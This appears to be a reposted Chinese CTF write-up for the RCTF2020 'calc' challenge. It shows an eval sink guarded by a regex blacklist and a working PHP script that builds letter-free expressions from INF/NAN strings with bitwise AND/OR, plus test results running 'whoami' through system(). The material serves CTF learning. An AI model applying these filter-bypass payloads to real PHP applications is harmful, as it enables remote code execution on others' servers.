Flag-PHP-代码审计过check

Posted 南瓜__pumpkin

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Flag-PHP-代码审计过check相关的知识,希望对你有一定的参考价值。

最近RCTF分站赛要开始了,梳理一些知识。梳理的过程中可能会怀疑 字符变换 的实用性,我个人难以避免,但即使是不打CTF,细致地观察和演练字符集,想必本身就是一件幸福地事吧。唯一要注意的点,不要为了做题去看/观察/揣摩,把它看作一个挑战和游戏,或者说字符集研究的一部分。

【RCTF2020】calc

主要check源码如下

$str = $_GET['num'];
    $blacklist = ['[a-z]', '[\\x7f-\\xff]', '\\s',"'", '"', "`", '\\[', "\\]","\\$", '_', "\\\\\\\\",'\\^', ","];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . "/im", $str)) {
            die("what are you want to do?");
        }
    }
    @eval('echo '.$str.';');

通用字符集合

结合题目calc的黑名单进行梳理:

总字符regexp黑名单 /im模式
字母[a-z]× 不可用
数字[0-9]√ 可用
7种运算符只有 ^ 不可用
3种比较符
3个引号×
3个括号分隔符只有 [] 不可用
3个句子分隔符只有 , 不可用
转义符\\×
常见3个注释符
所有空白符\\s空格、制表符、换页符等等都不可用
扩展ascii编码 [\\x7f-\\xff]×
php符号regexp黑名单 /im模式
变量符×
下划线×

位运算

基本概念

参考 异或运算怎么算_位运算

位运算是直接对整数在内存中的二进制位进行操作,由于位运算直接对内存数据进行操作,无需转成十进制,因此使用位运算的处理速度是很快的。

基本的位运算有与、或、异或、取反、左移、右移这6种。

6个基本位运算-
与 &只有当两位都是 1 时结果才是 1,否则为 0
|顾名思义
异或 ^两个位相同则为 0,不同则为 1
取反 ~0 则变为 1,1 则变为 0
左移 <<扩大2的n次方
右移 >>缩小2的n次方

PHP字符变换

0x01 与运算和或运算

参考 RCTF2020 复现RCTF 2020 Writeup

流程图


流程图代码

graph LR
A1[整数1/0]
A2[整数0]
B[字符串 INF1]
A1-->|小括号和连接符.|B
A2-->|小括号|B
C[字母 I]
B-->|大括号截取字符串首位|C
D[指定字符组合如phpinfo]
C-->|与运算和或运算|D
生成指定字符串的PHP脚本

本地测试用例,版本使用php7.0.9和7.1.9

输入命令落脚函数结果
whoami@eval"(system(".$payload.");" )执行成功
whoami)@eval(“system(”.$payload.";")没有解析 ) ,报语法错误
phpinfo();@eval($payload)语法错误unexpected end of file
(phpinfo)();@eval($payload)语法错误unexpected end of file
对照测试@eval("(phpinfo)();");执行成功,推测转换脚本有问题

经过测试,发现该 PHP 脚本目前转换 () 可能有误,但可以成功转换 [a-z]

<?php
$cmd = "phpinfo";#要运行的命令
$fin="";
$tables=
    [
        "9" => "(((9).(0)){0})",
        "8" => "(((8).(0)){0})",
        "7" => "(((7).(0)){0})",
        "6" => "(((6).(0)){0})",
        "5" => "(((5).(0)){0})",
        "4" => "(((4).(0)){0})",
        "3" => "(((3).(0)){0})",
        "2" => "(((2).(0)){0})",
        "1" => "(((1).(0)){0})",
        "0" => "(((0).(0)){0})",
        "~" => "((((0).(0)){0})|(((0/0).(0)){0}))",
        "}" => "((((4).(0)){0})|(((1/0).(0)){0}))",
        "|" => "((((4).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0})))",
        "{" => "((((2).(0)){0})|(((1/0).(0)){0}))",
        "z" => "((((2).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0})))",
        "y" => "((((0).(0)){0})|(((1/0).(0)){0}))",
        "x" => "((((0).(0)){0})|((((0/0).(0)){0})&(((1/0).(0)){0})))",
        "w" => "((((1).(0)){0})|(((1/0).(0)){2}))",
        "v" => "((((0).(0)){0})|(((1/0).(0)){2}))",
        "u" => "((((4).(0)){0})|(((0/0).(0)){1}))",
        "t" => "((((4).(0)){0})|((((0/0).(0)){0})&(((0/0).(0)){1})))",
        "s" => "((((2).(0)){0})|(((0/0).(0)){1}))",
        "r" => "((((2).(0)){0})|((((0/0).(0)){0})&(((0/0).(0)){1})))",
        "q" => "((((0).(0)){0})|(((0/0).(0)){1}))",
        "p" => "((((0).(0)){0})|((((0/0).(0)){0})&(((0/0).(0)){1})))",
        "o" => "((((0/0).(0)){0})|(((-1).(1)){0}))",
        "n" => "((((0/0).(0)){0})|((((4).(0)){0})&(((-1).(1)){0})))",
        "m" => "((((0/0).(0)){1})|(((-1).(1)){0}))",
        "l" => "(((((0).(0)){0})|(((0/0).(0)){0}))&((((0/0).(0)){1})|(((-1).(1)){0})))",
        "k" => "(((((2).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "j" => "(((((0).(0)){0})|(((0/0).(0)){0}))&(((((2).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0}))))",
        "i" => "((((0/0).(0)){1})|((((8).(0)){0})&(((-1).(1)){0})))",
        "h" => "(((((8).(0)){0})&(((-1).(1)){0}))|((((0/0).(0)){0})&(((0/0).(0)){1})))",
        "g" => "((((1/0).(0)){2})|((((1).(0)){0})&(((-1).(1)){0})))",
        "f" => "((((1/0).(0)){2})|((((4).(0)){0})&(((-1).(1)){0})))",
        "e" => "((((0/0).(0)){1})|((((4).(0)){0})&(((-1).(1)){0})))",
        "d" => "(((((0).(0)){0})|(((1/0).(0)){2}))&((((0/0).(0)){1})|(((-1).(1)){0})))",
        "c" => "(((((2).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "b" => "(((((0).(0)){0})|(((0/0).(0)){0}))&(((((2).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((-1).(1)){0}))))",
        "a" => "((((0/0).(0)){1})|((((1).(0)){0})&(((-1).(1)){0})))",
        "`" => "(((((0).(0)){0})|(((0/0).(0)){0}))&((((0/0).(0)){1})|((((1).(0)){0})&(((-1).(1)){0}))))",
        "O" => "((((0/0).(0)){0})|(((0/0).(0)){1}))",
        "N" => "(((0/0).(0)){0})",
        "M" => "(((((4).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((0/0).(0)){1})))",
        "L" => "((((0/0).(0)){0})&((((4).(0)){0})|(((1/0).(0)){0})))",
        "K" => "(((((2).(0)){0})|(((1/0).(0)){0}))&((((0/0).(0)){0})|(((0/0).(0)){1})))",
        "J" => "((((0/0).(0)){0})&((((2).(0)){0})|(((1/0).(0)){0})))",
        "I" => "(((1/0).(0)){0})",
        "H" => "((((0/0).(0)){0})&(((1/0).(0)){0}))",
        "G" => "((((0/0).(0)){1})|(((1/0).(0)){2}))",
        "F" => "(((1/0).(0)){2})",
        "E" => "(((((4).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1})))",
        "D" => "((((0/0).(0)){0})&((((4).(0)){0})|(((0/0).(0)){1})))",
        "C" => "(((((2).(0)){0})|(((0/0).(0)){1}))&((((0/0).(0)){0})|(((0/0).(0)){1})))",
        "B" => "((((0/0).(0)){0})&((((2).(0)){0})|(((0/0).(0)){1})))",
        "A" => "(((0/0).(0)){1})",
        "@" => "((((0/0).(0)){0})&(((0/0).(0)){1}))",
        "?" => "((((2).(0)){0})|(((-1).(1)){0}))",
        ">" => "((((6).(0)){0})|(((8).(0)){0}))",
        "=" => "((((0).(0)){0})|(((-1).(1)){0}))",
        "<" => "((((4).(0)){0})|(((8).(0)){0}))",
        ";" => "((((2).(0)){0})|(((9).(0)){0}))",
        ":" => "((((2).(0)){0})|(((8).(0)){0}))",
        "/" => "(((((2).(0)){0})|(((-1).(1)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "." => "(((((6).(0)){0})|(((8).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "-" => "(((-1).(1)){0})",
        "," => "((((-1).(1)){0})&((((0).(0)){0})|(((0/0).(0)){0})))",
        "+" => "(((((2).(0)){0})|(((9).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "*" => "(((((2).(0)){0})|(((8).(0)){0}))&((((0/0).(0)){0})|(((-1).(1)){0})))",
        ")" => "((((9).(0)){0})&(((-1).(1)){0}))",
        "(" => "((((8).(0)){0})&(((-1).(1)){0}))",
        "'" => "((((7).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "&" => "((((6).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "%" => "((((5).(0)){0})&(((-1).(1)){0}))",
        "$" => "((((4).(0)){0})&(((-1).(1)){0}))",
        "#" => "((((3).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))",
        '"' => "((((2).(0)){0})&((((0/0).(0)){0})|(((-1).(1)){0})))",
        "!" => "((((1).(0)){0})&(((-1).(1)){0}))"
    ];
for($i=0;$i<strlen($cmd);$i++) {
    $fin = $fin.$tables[$cmd[$i]].'.';
}
echo substr($fin,0,strlen($fin)-1);
?>

生成指定字符串的Python脚本

正则字符替换

[a-z]

PHP命名规范之一:变量名称必须以字母或下划线开头,参考 php对变量命名的规范

常见变换组合

位运算

异或运算

原理:

一览表:

异或操作用到的符号
优点无需输入[a-z]
运算位:url编码、引号、括号% 和 [0-9]、’ 和 `、]
运算符^
连接符() 和 . 和 ;
变量符号$和_
或运算和与运算(无需变量符和引号)

落脚函数

参考

RCTF2020 复现

以上是关于Flag-PHP-代码审计过check的主要内容,如果未能解决你的问题,请参考以下文章

vue2.0 代码功能片段

当前市面上的代码审计工具哪个比较好?

代码审计开源工具推荐

CTFShow代码审计

海云安源代码审计服务有啥优势吗

代码审计小工具